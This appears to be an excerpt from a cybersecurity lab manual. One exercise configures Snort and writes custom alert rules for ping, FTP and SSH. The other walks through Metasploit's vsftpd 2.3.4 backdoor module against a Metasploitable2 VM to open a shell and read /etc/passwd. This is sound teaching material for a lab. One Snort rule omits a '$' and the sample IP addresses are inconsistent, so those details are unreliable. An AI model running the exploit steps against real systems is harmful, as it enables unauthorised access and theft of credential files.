

10.	A	<p>In a cybersecurity lab environment, a team is tasked with implementing and testing an Intrusion Prevention and Detection System (IDS) using Snort. The team's objectives include configuring Snort for optimal performance, conducting rigorous testing to ensure its effectiveness, and developing custom Snort rules tailored to specific security requirements. Additionally, the team aims to simulate real-world attack scenarios using Kali Linux to detect and mitigate potential threats effectively.</p> <p>Ensure Ubuntu and Kali linux virtual machines are up and running.</p> <p>Go to Ubuntu VM...</p> <p>sudo apt-get install snort</p> <p>Configure the interface correctly. Choose the interface by running <code>/sbin/route -n</code> in another terminal.</p> <p>Set the correct interface and click on ok.</p> <p>Get the IP address of Ubuntu machine.</p> <p>Go to snort folder</p> <p>cd /etc/snort</p> <p>sudo vi snort.conf---(configuration file)</p> <p>cd rules</p> <p>vi local.rules -- (Custom rules will be defined here)</p> <p>vi icmp.rules---(icmp rules defined here)</p> <p>To test the configuration file:</p> <p>sudo snort -T -c /etc/snort/snort.conf</p> <p>To start snort and system is listening to packet processing</p> <p>sudo snort -A console -c /etc/snort/snort.conf</p> <p>Go to Kali Linux VM</p> <p>nmap 192.128.111.133(Ubuntu machine IP)</p> <p>Go to Ubuntu machine..</p> <p>cd /etc/snort/rules</p> <p>vi local.rules</p> <p>add below rules</p> <p>Add the below rules in the path</p> <p>cd /etc/snort/rules/</p> <p>vi local.rules</p> <p>#If any ICMP ping is happening --Unique id and name is added</p> <p>alert icmp \$EXTERNAL_NET any -&gt; HOME_NET any (msg:"Shubha";sid:5889; rev:1;)</p> <p>#FTP attempt</p> <p>alert tcp any any -&gt; \$HOME_NET 21 (msg:"FTP attempted"; sid:60001; rev:1;)</p> <p># SSH attempt</p> <p>alert tcp any any -&gt; \$HOME_NET 22 (msg:"SSh attempted"; sid:60002; rev:1;)</p> <p>Once the rules are added check the snort configuration.</p> <p>sudo snort -T -c /etc/snort/snort.conf</p> <p>if there are no issues with rules..</p> <p>Then start the snort</p> <p>sudo snort -A console -c /etc/snort/snort.conf</p> <p>Now go to Kali linux</p> <p>1. ping 192.168.111.133</p> <p>now go check in Ubuntu VM.. shubha msg is detected and displayed while pinging</p> <p>2. ftp 192.168.111.133</p> <p>now go check in Ubuntu vm.. FTP attempted msg is detected and displayed performing FTP connection</p> <p>3. ssh ubuntu@192.168.111.133</p> <p>now go check in Ubuntu VM.. SSH attempted msg is detected and displayed performing SSH Connection.</p>
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	B	<p>Imagine you are a member of Red Team in a company, you have been assigned a penetration testing task to assess the security of a corporate network using Kali Linux and the Metasploit framework. Outline a step-by-step process for utilizing Metasploit to identify and exploit vulnerabilities within the network.</p> <p>Ensure both the Kali Linux and Metasploitable2 virtual machines are up and running.</p> <ul style="list-style-type: none"><li>• Open Kali Linux terminal, type following cmds</li></ul> <p># msfupdate—"Use this if metasploit-framework is more than two weeks old.Run msfupdate to get latest framework"</p> <ul style="list-style-type: none"><li>➤ msfconsole</li><li>➤ use exploit/unix/ftp/vsftpd_234_backdoor</li><li>➤ show options</li><li>➤ set RHOST 192.168.62.129</li><li>➤ exploit</li><li>➤ It will open the shell of target IP(metasploitable vm)</li><li>➤ Create a file say 1.txt with some contents, copy the file to another new file.</li><li>➤ Now goto Metasploitable VM 2 and check the same file contents. ➤ Even the sensitive details such contents of /etc/passwd file also can be accessed.</li></ul>
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